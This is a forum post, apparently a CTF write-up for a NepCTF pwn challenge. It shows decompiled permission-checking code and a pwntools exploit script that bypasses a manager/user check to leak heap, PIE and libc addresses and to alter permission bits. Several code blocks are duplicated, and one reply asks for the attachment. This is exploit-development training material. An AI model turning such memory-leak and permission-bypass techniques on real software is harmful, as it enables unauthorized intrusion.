  if ( !(unsigned int)check(Id, s, 1) )
  {
    puts("permission denied");
    return 0xFFFFFFFFLL;
  }
  **(_QWORD **)(a1 + 8) = chunk_list[2 * Id];
  *(_DWORD *)(*(_QWORD *)(a1 + 8) + 8LL) = right_list[4 * Id];
  permission_confirm(*(_QWORD *)(a1 + 8), s);
  if ( *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) == 8 )// "MANAGER_visit"
  {
    puts("1: manager visit user to read from user_logs");
    puts("2: manager visit user to write to user_logs");
    __isoc99_scanf("%d", &v2);
    if ( !checkvisit(v2) )
    {
      puts("permission denied visit");
      return 0xFFFFFFFFLL;
    }
    if ( v2 == 1 )
    {
      *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) = 6;
    }
    else if ( v2 == 2 )
    {
      *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) = 3;
    }
  }
  switch ( *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) )
  {
    case 6:
      return write(1, **(const void ***)(*(_QWORD *)(a1 + 0x10) + 8LL), 0xFFuLL);// "1: manager visit user to read from user_logs"
    case 3:
      return read(0, **(void ***)(*(_QWORD *)(a1 + 0x10) + 8LL), 0xFFuLL);// "2: manager visit user to write to user_logs"
    case 4:
      return write(1, **(const void ***)(a1 + 8), 0xFFuLL);// "MANAGER_read"
  }
  result = *(unsigned int *)(*(_QWORD *)(a1 + 8) + 0x10LL);
  if ( (_DWORD)result == 2 )                    // "MANAGER_write"
    return read(0, **(void ***)(a1 + 8), 0xFFuLL);
  return result;
}
ssize_t __fastcall manager_operation(__int64 a1)
{
  ssize_t result; // rax
  int v2; // [rsp+18h] [rbp-28h] BYREF
  signed int Id; // [rsp+1Ch] [rbp-24h] BYREF
  char s[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]
 
  v5 = __readfsqword(0x28u);
  v2 = 0;
  Id = 0;
  memset(s, 0, 0x10uLL);
  puts("manager read from logs(MANAGER_read)");
  puts("manager write to logs(MANAGER_write)");
  puts("visit user(MANAGER_visit)");
  read(0, s, 0xFuLL);                           // "MANAGER_visit"
                                                // "MANAGER_read"
                                                // "MANAGER_write"
  puts("Which storage area do you want to operate on?");
  puts("1-19: manager can visit");
  __isoc99_scanf("%d", &Id);
  if ( !(unsigned int)check(Id, s, 1) )
  {
    puts("permission denied");
    return 0xFFFFFFFFLL;
  }
  **(_QWORD **)(a1 + 8) = chunk_list[2 * Id];
  *(_DWORD *)(*(_QWORD *)(a1 + 8) + 8LL) = right_list[4 * Id];
  permission_confirm(*(_QWORD *)(a1 + 8), s);
  if ( *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) == 8 )// "MANAGER_visit"
  {
    puts("1: manager visit user to read from user_logs");
    puts("2: manager visit user to write to user_logs");
    __isoc99_scanf("%d", &v2);
    if ( !checkvisit(v2) )
    {
      puts("permission denied visit");
      return 0xFFFFFFFFLL;
    }
    if ( v2 == 1 )
    {
      *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) = 6;
    }
    else if ( v2 == 2 )
    {
      *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) = 3;
    }
  }
  switch ( *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) )
  {
    case 6:
      return write(1, **(const void ***)(*(_QWORD *)(a1 + 0x10) + 8LL), 0xFFuLL);// "1: manager visit user to read from user_logs"
    case 3:
      return read(0, **(void ***)(*(_QWORD *)(a1 + 0x10) + 8LL), 0xFFuLL);// "2: manager visit user to write to user_logs"
    case 4:
      return write(1, **(const void ***)(a1 + 8), 0xFFuLL);// "MANAGER_read"
  }
  result = *(unsigned int *)(*(_QWORD *)(a1 + 8) + 0x10LL);
  if ( (_DWORD)result == 2 )                    // "MANAGER_write"
    return read(0, **(void ***)(a1 + 8), 0xFFuLL);
  return result;
}
_BOOL8 __fastcall checkvisit(int a1)
{
  if ( a1 == 1 )
    return 1LL;
  return a1 != 2 || (operat_chunk->operat_code & 4) == 0;
}
_BOOL8 __fastcall checkvisit(int a1)
{
  if ( a1 == 1 )
    return 1LL;
  return a1 != 2 || (operat_chunk->operat_code & 4) == 0;
}
from pwn import *
io=process('./pwn')
#io=remote("nepctf32-nhc3-ipgm-a41k-fqjcvtlc0394.nepctf.com",443,ssl=True,sni="nepctf32-nhc3-ipgm-a41k-fqjcvtlc0394.nepctf.com")
libc=ELF('libc.so.6')
def bug():
    gdb.attach(io)
def ch(Id):
    io.sendlineafter(b"(1:manager 1000:user)\n",str(Id).encode())
def usr_write(Id,payload):
    ch(1000)
    io.sendafter(b"user write to logs(USER_write)\n",b"USER_write")
    io.sendlineafter(b"10-19: user can visit\n",str(Id).encode())
    io.send(payload)
def usr_read(Id):
    ch(1000)
    io.sendafter(b"user write to logs(USER_write)\n",b"USER_read")
    io.sendlineafter(b"10-19: user can visit\n",str(Id).encode())
def man_write(Id,payload):
    ch(1)
    io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_write")
    io.sendlineafter(b"1-19: manager can visit",str(Id).encode())
    io.send(payload)
def man_read(Id):
    ch(1)
    io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_read")
    io.sendlineafter(b"1-19: manager can visit",str(Id).encode())
def man_write_usr(Id,payload):
    ch(1)
    io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_visit")
    io.sendlineafter(b"1-19: manager can visit",str(Id).encode())
    io.sendlineafter(b"2: manager visit user to write to user_logs",b"2")
    io.send(payload)
def man_read_usr(Id):
    ch(1)
    io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_visit")
    io.sendlineafter(b"1-19: manager can visit",str(Id).encode())
    io.sendlineafter(b"2: manager visit user to write to user_logs",b"1")
from pwn import *
io=process('./pwn')
#io=remote("nepctf32-nhc3-ipgm-a41k-fqjcvtlc0394.nepctf.com",443,ssl=True,sni="nepctf32-nhc3-ipgm-a41k-fqjcvtlc0394.nepctf.com")
libc=ELF('libc.so.6')
def bug():
    gdb.attach(io)
def ch(Id):
    io.sendlineafter(b"(1:manager 1000:user)\n",str(Id).encode())
def usr_write(Id,payload):
    ch(1000)
    io.sendafter(b"user write to logs(USER_write)\n",b"USER_write")
    io.sendlineafter(b"10-19: user can visit\n",str(Id).encode())
    io.send(payload)
def usr_read(Id):
    ch(1000)
    io.sendafter(b"user write to logs(USER_write)\n",b"USER_read")
    io.sendlineafter(b"10-19: user can visit\n",str(Id).encode())
def man_write(Id,payload):
    ch(1)
    io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_write")
    io.sendlineafter(b"1-19: manager can visit",str(Id).encode())
    io.send(payload)
def man_read(Id):
    ch(1)
    io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_read")
    io.sendlineafter(b"1-19: manager can visit",str(Id).encode())
def man_write_usr(Id,payload):
    ch(1)
    io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_visit")
    io.sendlineafter(b"1-19: manager can visit",str(Id).encode())
    io.sendlineafter(b"2: manager visit user to write to user_logs",b"2")
    io.send(payload)
def man_read_usr(Id):
    ch(1)
    io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_visit")
    io.sendlineafter(b"1-19: manager can visit",str(Id).encode())
    io.sendlineafter(b"2: manager visit user to write to user_logs",b"1")
man_read(0)
io.recvuntil(b"\x01\x00\x00\x00\x00\x00\x00\x00")
heap=u64(io.recv(8))-0x22d0
pie=u64(io.recv(8))-0x41a0
print(f"heap=>{hex(heap)}")
print(f"pie=>{hex(pie)}")
man_read(0)
io.recvuntil(b"\x01\x00\x00\x00\x00\x00\x00\x00")
heap=u64(io.recv(8))-0x22d0
pie=u64(io.recv(8))-0x41a0
print(f"heap=>{hex(heap)}")
print(f"pie=>{hex(pie)}")
def get_right():
    ch(1000)
    io.sendafter(b"user write to logs(USER_write)\n",b"MANAGER_visit")
    io.sendlineafter(b"10-19: user can visit\n",str(0).encode())
def get_right():
    ch(1000)
    io.sendafter(b"user write to logs(USER_write)\n",b"MANAGER_visit")
    io.sendlineafter(b"10-19: user can visit\n",str(0).encode())
usr_write(10,b'a'*0x50)
get_right()
head=heap+0x2a0#即chank[0]的地址
usr_write(10,b'a'*0x50)
get_right()
head=heap+0x2a0#即chank[0]的地址
man_write_usr(0,p64(0)+p64(heap+0x22d0)+p64(head+0x18)+p64(head+0x20)+p64(head+0x28)+p64(pie+0x4068))
man_write_usr(0,p64(0xf))#修改权限
man_write_usr(0,p64(0)+p64(heap+0x22d0)+p64(head+0x18)+p64(head+0x20)+p64(head+0x28)+p64(pie+0x4068))
man_write_usr(0,p64(0xf))#修改权限
man_write(0,p64(0)+p64(heap+0x22d0)+p64(head+0x18)+p64(head+0x20)+p64(head+0x28)+p64(pie+0x4020))
man_read_usr(0)
io.recvline()
#===
base=u64(io.recv(8))-0x21b780
print(f"base=>{hex(base)}")

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (1)
雪    币: 441
活跃值: (2174)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
师傅,有原附件吗?time文件有些部分被nop掉了
2025-8-6 21:40
0
游客
登录 | 注册 方可回帖
返回